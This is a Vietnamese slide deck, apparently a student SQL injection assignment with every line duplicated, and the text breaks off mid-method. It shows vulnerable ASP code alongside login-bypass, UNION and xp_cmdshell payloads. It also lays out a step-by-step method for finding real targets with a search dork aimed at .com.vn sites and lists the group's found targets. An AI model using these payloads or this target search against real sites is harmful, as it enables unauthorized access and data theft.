Tải bản đầy đủ (.ppt) (48 trang)

bài tập thực hành sql injection

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (4.18 MB, 48 trang )



SQL INJECTION
SQL INJECTION
Nội dung trình bày:
Nội dung trình bày:
SQL Injection là gì?
SQL Injection là gì?


Các dạng tấn công bằng SQL Injection
Các dạng tấn công bằng SQL Injection
Kỹ Thuật tấn công bằng sql injection
Kỹ Thuật tấn công bằng sql injection
Cách phòng tránh
Cách phòng tránh
Demo
Demo




SQL Injection là gì?
SQL Injection là gì?

SQL injection là một kĩ thuật tấn công lợi dụng lỗ
SQL injection là một kĩ thuật tấn công lợi dụng lỗ
hổng trong việc kiểm tra dữ liệu nhập trong các ứng
hổng trong việc kiểm tra dữ liệu nhập trong các ứng
dụng web và các thông báo lỗi của hệ quản trị cơ sở
dụng web và các thông báo lỗi của hệ quản trị cơ sở


dữ liệu để "tiêm vào" (injecti
dữ liệu để "tiêm vào" (injecti
on
on
) và thi hành các câu
) và thi hành các câu
lệnh SQL bất hợp pháp.
lệnh SQL bất hợp pháp.

Hậu quả của nó rất tai hại vì nó cho phép những kẻ
Hậu quả của nó rất tai hại vì nó cho phép những kẻ
tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,
tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh,


do có toàn quyền trên cơ sở dữ liệu của ứng dụng,
do có toàn quyền trên cơ sở dữ liệu của ứng dụng,
thậm chí là server mà ứng dụng đó đang chạy.
thậm chí là server mà ứng dụng đó đang chạy.

Lỗi này thường xảy ra trên các ứng dụng web có dữ
Lỗi này thường xảy ra trên các ứng dụng web có dữ
liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu
liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu
như SQL Server, MySQL, Oracle, DB2, Sysbase.
như SQL Server, MySQL, Oracle, DB2, Sysbase.


Các dạng tấn công bằng SQL Injection
Các dạng tấn công bằng SQL Injection


Có bốn dạng thông thường bao gồm:
Có bốn dạng thông thường bao gồm:

Vượt qua kiểm tra lúc đăng nhập (authorization
Vượt qua kiểm tra lúc đăng nhập (authorization
bypass)
bypass)

Sử dụng câu lện SELECT
Sử dụng câu lện SELECT

Sử dụng câu lệnh INSERT
Sử dụng câu lệnh INSERT

Sử dụng các stored-procedures [2], [3]
Sử dụng các stored-procedures [2], [3]


Dạng tấn công vượt qua kiểm tra đăng
Dạng tấn công vượt qua kiểm tra đăng
nhập
nhập



Đăng nhập nhờ vào lỗi khi dùng các câu lệnh
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh
SQL thao tác trên cơ sở dữ liệu của ứng dụng
SQL thao tác trên cơ sở dữ liệu của ứng dụng

web.
web.

Trong trường hợp này, người ta có thể dùng
Trong trường hợp này, người ta có thể dùng
hai trang, một trang HTML để hiển thị form
hai trang, một trang HTML để hiển thị form
nhập liệu và một trang ASP dùng để xử lí
nhập liệu và một trang ASP dùng để xử lí
thông tin nhập từ phía người dùng. Ví dụ:
thông tin nhập từ phía người dùng. Ví dụ:


login.htm
login.htm
<form action="ExecLogin.asp" method="post">
<form action="ExecLogin.asp" method="post">
Username: <input type="text"
Username: <input type="text"
name="fUSRNAME"><br>
name="fUSRNAME"><br>
Password: <input type="password"
Password: <input type="password"
name="fPASSWORD"><br>
name="fPASSWORD"><br>
<input type="submit">
<input type="submit">
</form>
</form>



execlogin.asp
execlogin.asp
<%
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword =
Request.Form("fUSRNAME") vPassword =
Request.Form("fPASSWORD")
Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
strSQL = "SELECT * FROM T_USERS " & _
"WHERE
"WHERE
USR_NAME=' " & vUsrName & _
USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “
" ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open
strSQL, "DSN= "
strSQL, "DSN= "
If (objRS.EOF) Then
If (objRS.EOF) Then
Response.Write "Invalid login."
Response.Write "Invalid login."


Else

Else
Response.Write "You are logged in as " &
Response.Write "You are logged in as " &
objRS("USR_NAME")
objRS("USR_NAME")


End If
End If
Set objRS = Nothing %>
Set objRS = Nothing %>



Người dùng nhập chuỗi sau vào trong cả 2 ô
Người dùng nhập chuỗi sau vào trong cả 2 ô
nhập liệu username/password của trang
nhập liệu username/password của trang
login.htm là:
login.htm là:
' OR ' ' = '
' OR ' ' = '
.
.

Lúc này, câu truy vấn sẽ được gọi thực hiện là:
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE
SELECT * FROM T_USERS WHERE
USR_NAME ='' OR ''='' and

USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ và sẽ trả về tất cả
Câu truy vấn này là hợp lệ và sẽ trả về tất cả
các bản ghi của T_USERS và đoạn mã tiếp
các bản ghi của T_USERS và đoạn mã tiếp
theo xử lí người dùng đăng nhập bất hợp pháp
theo xử lí người dùng đăng nhập bất hợp pháp
này như là người dùng đăng nhập hợp lệ.
này như là người dùng đăng nhập hợp lệ.






Dạng tấn công sử dụng câu lệnh
Dạng tấn công sử dụng câu lệnh
SELECT
SELECT



Để thực hiện được kiểu tấn công này, kẻ tấn
Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ
công phải có khả năng hiểu và lợi dụng các sơ
hở trong các thông báo lỗi từ hệ thống để dò

hở trong các thông báo lỗi từ hệ thống để dò
tìm các điểm yếu khởi đầu cho việc tấn công.
tìm các điểm yếu khởi đầu cho việc tấn công.

Thông thường, sẽ có một trang nhận ID của
Thông thường, sẽ có một trang nhận ID của
tin cần hiển thị rồi sau đó truy
tin cần hiển thị rồi sau đó truy
vấn nội dung của tin có ID này.
vấn nội dung của tin có ID này.



<%
<%
Dim vNewsID, objRS, strSQL
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS
strSQL = "SELECT * FROM T_NEWS
WHERE NEWS_ID =" & vNewsID
WHERE NEWS_ID =" & vNewsID
Set objRS =
Set objRS =
Server.CreateObject("ADODB.Recordset")
Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
objRS.Open strSQL, "DSN= "
Set objRS = Nothing

Set objRS = Nothing
%>
%>



Câu truy vấn SQL lúc này sẽ trả về tất cả các
Câu truy vấn SQL lúc này sẽ trả về tất cả các
article từ bảng dữ liệu vì nó sẽ thực hiện câu
article từ bảng dữ liệu vì nó sẽ thực hiện câu
lệnh:
lệnh:


SELECT * FROM T_NEWS WHERE
SELECT * FROM T_NEWS WHERE
NEWS_ID=0 or 1=1
NEWS_ID=0 or 1=1





'
'
UNION SELECT ALL SELECT OtherField
UNION SELECT ALL SELECT OtherField
FROM OtherTable WHERE
FROM OtherTable WHERE
' '

' '
=
=
'
'
(*)
(*)

Lúc này, ngoài câu truy vấn đầu không thành công,
Lúc này, ngoài câu truy vấn đầu không thành công,
chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ
chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ
khóa UNION nữa.
khóa UNION nữa.

Nếu chúng ta thêm ' UNION SELECT name
Nếu chúng ta thêm ' UNION SELECT name
FROM sysobjects WHERE xtype = 'U'
FROM sysobjects WHERE xtype = 'U'
là có thể
là có thể
liệt kê được tên tất cả các bảng dữ liệu.
liệt kê được tên tất cả các bảng dữ liệu.


Dạng tấn công sử dụng câu lệnh
Dạng tấn công sử dụng câu lệnh
INSERT
INSERT




Chức năng không thể thiếu là sau khi đăng kí
Chức năng không thể thiếu là sau khi đăng kí
thành công, người dùng có thể xem và hiệu
thành công, người dùng có thể xem và hiệu
chỉnh thông tin của mình. SQL injection có thể
chỉnh thông tin của mình. SQL injection có thể
được dùng khi hệ thống không kiểm tra tính
được dùng khi hệ thống không kiểm tra tính
hợp lệ của thông tin nhập vào.
hợp lệ của thông tin nhập vào.



Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:
Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One',
INSERT INTO TableName VALUES('Value One',
'Value Two', 'Value Three'). Nếu đoạn mã xây dựng
'Value Two', 'Value Three'). Nếu đoạn mã xây dựng
câu lệnh SQL có dạng :
câu lệnh SQL có dạng :

<% strSQL = "INSERT INTO TableName
<% strSQL = "INSERT INTO TableName
VALUES(' " & strValueOne & " ', ' " _ &
VALUES(' " & strValueOne & " ', ' " _ &
strValueTwo & " ', ' " & strValueThree & " ') " Set
strValueTwo & " ', ' " & strValueThree & " ') " Set

objRS = Server.CreateObject("ADODB.Recordset")
objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
objRS.Open strSQL, "DSN= "


Set objRS =
Set objRS =
Nothing %>
Nothing %>


Dạng tấn công sử dụng stored-
Dạng tấn công sử dụng stored-
procedures
procedures



Việc tấn công bằng stored-procedures sẽ gây
Việc tấn công bằng stored-procedures sẽ gây
tác hại rất lớn nếu ứng dụng được thực thi với
tác hại rất lớn nếu ứng dụng được thực thi với
quyền quản trị hệ thống
quyền quản trị hệ thống
'sa'
'sa'
.
.




Ví dụ, nếu ta thay đoạn mã tiêm vào dạng:
Ví dụ, nếu ta thay đoạn mã tiêm vào dạng:
' ;
' ;
EXEC xp_cmdshell 'cmd.exe dir C: '.
EXEC xp_cmdshell 'cmd.exe dir C: '.



Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư
Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư
mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại
mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại
kiểu nào tuỳ thuộc vào câu lệnh đằng sau
kiểu nào tuỳ thuộc vào câu lệnh đằng sau
cmd.exe.
cmd.exe.


Kỹ Thuật tấn công bằng sql injection
Kỹ Thuật tấn công bằng sql injection

Bước 1: Tìm kiếm mục tiêu.
Bước 1: Tìm kiếm mục tiêu.

Bước 2: Kiểm tra chỗ yếu của trang web
Bước 2: Kiểm tra chỗ yếu của trang web


Bước 3: Nhận data qua ‘database using ODBC
Bước 3: Nhận data qua ‘database using ODBC
error message’
error message’

Bước 4: Xác định tên của các column trong
Bước 4: Xác định tên của các column trong
table
table

Bước 5: Thu thập các dữ liệu quan trọng.
Bước 5: Thu thập các dữ liệu quan trọng.

Bước 6: Xử lý kết quả tìm được
Bước 6: Xử lý kết quả tìm được


Tìm kiếm mục tiêu
Tìm kiếm mục tiêu

Bạn có thể dùng các bất kỳ một search-engine
Bạn có thể dùng các bất kỳ một search-engine
nào trên mạng như các trang login, search,
nào trên mạng như các trang login, search,
feedback…
feedback…

Bạn có thể “custome Search Engine” lại cho
Bạn có thể “custome Search Engine” lại cho
phù hợp với yêu cầu của bạn

phù hợp với yêu cầu của bạn



Thực hiện câu lệnh search:
Thực hiện câu lệnh search:

inurl:php?id= site:com.vn
inurl:php?id= site:com.vn


Đây là kết quả thu được.
Đây là kết quả thu được.


Kết Quả Tìm Được Của Nhóm
Kết Quả Tìm Được Của Nhóm

/> />
/> />
/> />ID=1173&namecate=EOS'
ID=1173&namecate=EOS'

/> />
/> />
/> />
/> />
/> />
/> />
/> />

/> />‘


Ghi chú: không phải trang nào cũng tấn công được
Ghi chú: không phải trang nào cũng tấn công được


Kiểm tra chỗ yếu của trang web
Kiểm tra chỗ yếu của trang web

Bạn có thể điền thêm một số lệnh trên url,
Bạn có thể điền thêm một số lệnh trên url,
hoặc trên các from login, search, hoặc search
hoặc trên các from login, search, hoặc search
để phát hiện lỗi.
để phát hiện lỗi.

Sau đây là một số cách thêm và phát hiện lỗi
Sau đây là một số cách thêm và phát hiện lỗi
của nhóm mình:
của nhóm mình:






×